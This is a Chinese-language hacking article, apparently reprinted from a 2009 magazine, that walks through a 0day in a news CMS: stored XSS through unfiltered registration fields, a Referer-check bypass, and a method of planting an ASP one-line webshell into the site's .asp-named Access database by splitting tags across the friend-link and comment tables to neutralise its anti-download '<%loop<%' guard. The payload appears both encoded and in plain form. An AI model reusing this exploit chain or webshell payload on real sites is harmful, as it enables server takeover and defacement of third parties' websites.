|
题目:让LOOP防下载形同虚设直接拿shell--分析沸腾新闻多媒体展望系统V1.2 0Day 作者:莫ㄨ问[B.H.S.T]& 李宓 [L4nk0r] 来源:L4nk0r'S Blog 此文章已发表在《黑客手册》2009年第9期杂志上,后经作者发布在博客上,如转载请务必保留此信息
L4nk0r:为方便大家阅读,最后提供文件打包下载 事情缘由: 暑假一个人在家看书,在浏览一个网站的时候总感觉这个网站的整体页面很像一套系统.于是就查了真是沸腾展望新闻系统.记得早起这个系统存在很多漏洞.这不马上到其官方网站下载了最新版本V1.2 Build1版.此版本相对之前的版本安全性已经提高了很多,但是在阅读代码过程中还是发现了一些不足来特来和大家分享,下面对漏洞的形成做下分析,漏洞本身没什么,注意思路.
一.注册页面跨站甚至插马 注册跨站甚至写入木马,漏洞文件adduser1.asp和saveuser.asp 在adduser1.asp用户注册通过简单的javascript来判断username表单是否含有非法字符(在savauser.asp中同样过滤了,所以username字段没办法利用).程序员太过于相信Javascript了.导致用户可以输入恶意代码提交到数据库,代码如下(savauser.asp文件,这里略去部分无关代码)
sex=request.form("sex") // 这里没有任何过滤,可以通过本地提交表达 birthyear=request.form("birthyear") //同上 birthmonth=request.form("birthmonth") // 同上 birthday=request.form("birthday") depid=ChkRequest(request.form("depid"),1) '防注入,这里用ChkRequest()来防注入,跟进 photo=request.form("photo")
很明显上面这些参数中除了一个depid过滤了其他都直接获取了并且后面直接更新到数据库了.我们知道Javascirpt可以本地提交绕过,所以跨站也就没有问题了.但是在测试时候发现不行,好在仔细查看包含的文件,我明白程序员为什么这么”自信”了.看到ChkURL.asp,代码如下:
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) server_v2=Cstr(Request.ServerVariables("SERVER_NAME")) if mid(server_v1,8,len(server_v2))<>server_v2 then -------------------------------后面一堆提示---------------------------------------
利用REFERER禁止本地提交.还是老思路,构造Referer即可.这里我通过WinSock Expert抓包然后NC来修改数据提交就可以了.这里不做讲解,当然这个漏洞配合后面的使用也是可以的. 二.致命伤-<%loop<%形同虚设直接拿shell 1.成因分析 直接打开数据库/data/news3000.asp数据库默认是asp格式的(相信没有站长会把它改成mdb的).这个是后面利用的前提.我们本地改成mdb的打开,发现里面有一张表,如图1:
NotDownload表,其内容显示为:”长二进制数据”,就是这个表导致我们访问数据库的时候出现如图2提示:
的原因Loop是asp中的循环语句,其实在数据库中那一串长二进制数据就是<%loop<%的十六进制形式3C25206C6F6F70203C25.我们可以通过UltraEdit十六进制形式打开它,然后搜索<%就会发现如图3:
知道asp语法的人看到这里应该都明白为什么会有如图2提示了把.所以当你插入一句话的时候就会脚本无法闭合的问题.另外<%loop<% 这种是无法闭合的.下面是关键思路:既然无法闭合,我们是否能够注释掉?想到这里,我们就会想到单引号,没错就是它-ASP的注释符,但是前提是,要能够在他之前插入一个<%’;x (即,
<%&amp;#39;x 这里的x可以是其他字符,是为后面字符转换成unicode编码用的.) 另外,还要在<%loop<%后面插入一个%>x(这里X也是同理)才能让其和前面插入的闭合.这样就可以注释掉<%loop<%这个不可能闭合的问题了.我们整理一下思路:就是在
<%loop<% 前后的合适位置插入一段可以闭合的代码,并且将在这2个闭合符号中间的内容注释掉就即可.思路有了..就可以操作了.另外说明下,当你用UltraEdit十六进制形式打开数据库时搜索<%如果不是<%loop中的那个,就证明这里可以插入前置闭合符,同理,后置闭合符也可以这样判断.思路清晰了,我们来看看实例操作. 二.实例演示-沸腾展望新闻系统V1.2 0day 打开/data/news3000.asp数据库发现,普通用户可以添加的数据表有:
引用 1. attach表 --文件上传方式 2. FT_User表 --通过注册(配合漏洞1的注册跨站使用) 3. Link表 --友情链接申请 4. News表 --发布新闻 5. Review表 --评论新闻 6. UploadPic表 --上传图片
通过穷举法,多次测试发现,前置闭合符可以在Link表中插入,而后置闭合符可以在Review表中插入,其他表有兴趣的可以自行测试下.默认情况下,系统的友情链接和回复(游客都可以)是开启的.对于友情链接关闭申请就只能通过其他表了,这里只是举个例子,可以按思路举一反三.ok,不废话直接按如图4填写(这里也是Javascript判断后直接插入数据库)
网站名称”
┼攠數畣整爠煥敵瑳∨∣┩愾┼砧 ” 是经过lake2编写的a2u4hack.exe工具转换成Unicode编码,它原型是:
&lt;% execute request(&quot;#&quot;)%&gt;a&lt;%&#039;x ,如图5:
这里要注意的是在转换过程中不能出现?,这就是我刚才为什么加一个x的原因了.然后直接提交,不管管理员是否审核不影响.再次UltraEdit十六进制形式打开搜索<%发现如图6:
发现第一搜索到的是如图6,也就是说已经成功的插入前置闭合符.现在插入随便首页点一个文章,点击下面的”相关评论”选择游客,然后在内容那输入如图7:
内容为: “┠ 砾 “同理也是经过a2u4hack.exe工具编码的,它的原型是: %>x 这样以后提交就可以提交到数据库并且完美的注释掉
<%loop<%.
所有的工作完成后我们看下结果.如图8:
成功插入一句话木马,也成功链接了直接拿到WebShell.另外.当然程序还存在一些不足,有兴趣的朋友可以自己挖掘.对于这个思路,当如果你并不能如此的完美的插入木马,我们是否也想过通过此方法来过滤掉一些上传后缀限制的数据然后通过上传来拿webshell呢?好了,思路就这样,大家灵活应用.官方演示网站关闭了友情链接我们就不做测试了,必竟只是提供大家一种思路而已. 本次的分析到此结束了, 对于此漏洞危害较大,请勿做非法行为.有任何问题可以到黑手论坛与我讨论或者E-mail:awolf858@gmail.com.
|